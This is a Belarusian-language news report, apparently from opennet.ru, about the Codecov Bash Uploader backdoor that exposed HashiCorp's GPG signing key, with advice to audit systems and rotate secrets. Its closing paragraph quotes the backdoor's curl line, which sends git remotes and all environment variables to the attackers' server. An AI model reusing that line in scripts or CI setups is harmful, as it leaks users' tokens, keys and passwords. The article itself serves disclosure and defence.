Укараненне шкоднаснага кода ў скрыпт Codecov прывяло да кампраметацыі PGP-ключа HashiCorp

Кампанія HashiCorp, вядомая распрацоўкай адкрытых інструментарыяў Vagrant, Packer, Nomad і Terraform, абвясціла аб уцечцы зачыненага GPG-ключа, выкарыстоўванага для стварэння лічбавых подпісаў, якія верыфікуюць рэлізы. Атакуючыя, якія атрымалі доступ да GPG-ключу, патэнцыйна маглі ўнесці ўтоеныя змены ў прадукты HashiCorp, запэўніўшы іх карэктным лічбавым подпісам. Пры гэтым кампанія заявіла, што падчас праведзенага аўдыту слядоў спроб унясення падобных мадыфікацый не выяўлена.

У цяперашні час скампраметаваны GPG-ключ адкліканы і замест яго ўведзены ва ўжытак новы ключ. Праблема закранула толькі верыфікацыю пры дапамозе файлаў SHA256SUM і SHA256SUM.sig, і не закранула фарміраванне лічбавых подпісаў для Linux-пакетаў DEB і RPM, якія пастаўляюцца праз releases.hashicorp.com, а таксама механізмы пацверджання выпускаў для macOS і Windows (AuthentiCode).

Уцечка адбылася з-за выкарыстання ў інфраструктуры скрыпту Codecov Bash Uploader (codecov-bash), прызначанага для загрузкі coverage-справаздач з сістэм бесперапыннай інтэграцыі. Падчас нападаў на кампанію Codecov у паказаны скрыпт быў утоена ўкаранёны бэкдор, праз які была арганізаваная адпраўка пароляў і ключоў шыфравання на сервер зламыснікаў.

Для ўзлому атакавалыя скарысталіся памылкай падчас стварэнняў Docker-выявы Codecov, якая дазваляла атрымаць дадзеныя для доступу да GCS (Google Cloud Storage), неабходныя для занясення змен у скрыпт Bash Uploader, які распаўсюджваўся з сайта codecov.io. Змены былі ўнесены яшчэ 31 студзеня, два месяцы заставаліся незаўважанымі і дазвалялі зламыснікам здабываць інфармацыю, якая захоўваецца ў асяроддзі сістэм бесперапыннай інтэграцыі кліентаў. Пры дапамозе дададзенага шкоднаснага кода зламыснікі маглі атрымаць інфармацыю аб тэстоўваным Git-рэпазітары і ўсіх зменных асяроддзі, у тым ліку ўлучальных токены, ключы шыфравання і паролі, якія перадаюцца ў сістэмы бесперапыннай інтэграцыі для арганізацыі доступу да кода прыкладанняў, сховішчам і сэрвісам, такім як Amazon Web Services і GitHub.

Акрамя прамога выкліку скрыпт Codecov Bash Uploader выкарыстоўваўся ў складзе іншых загрузнікаў, такіх як Codecov-action (Github), Codecov-circleci-orb і Codecov-bitrise-step, карыстачы якіх таксама схільныя праблеме. Усім карыстальнікам codecov-bash і звязаных з ім прадуктаў рэкамендавана правесці аўдыт сваіх інфраструктур, а таксама памяняць паролі і ключы шыфравання. Праверыць наяўнасць бэкдора ў скрыпце можна па наяўнасці ў ім радка curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http:// /upload/v2 || true

Крыніца: opennet.ru

Дадаць каментар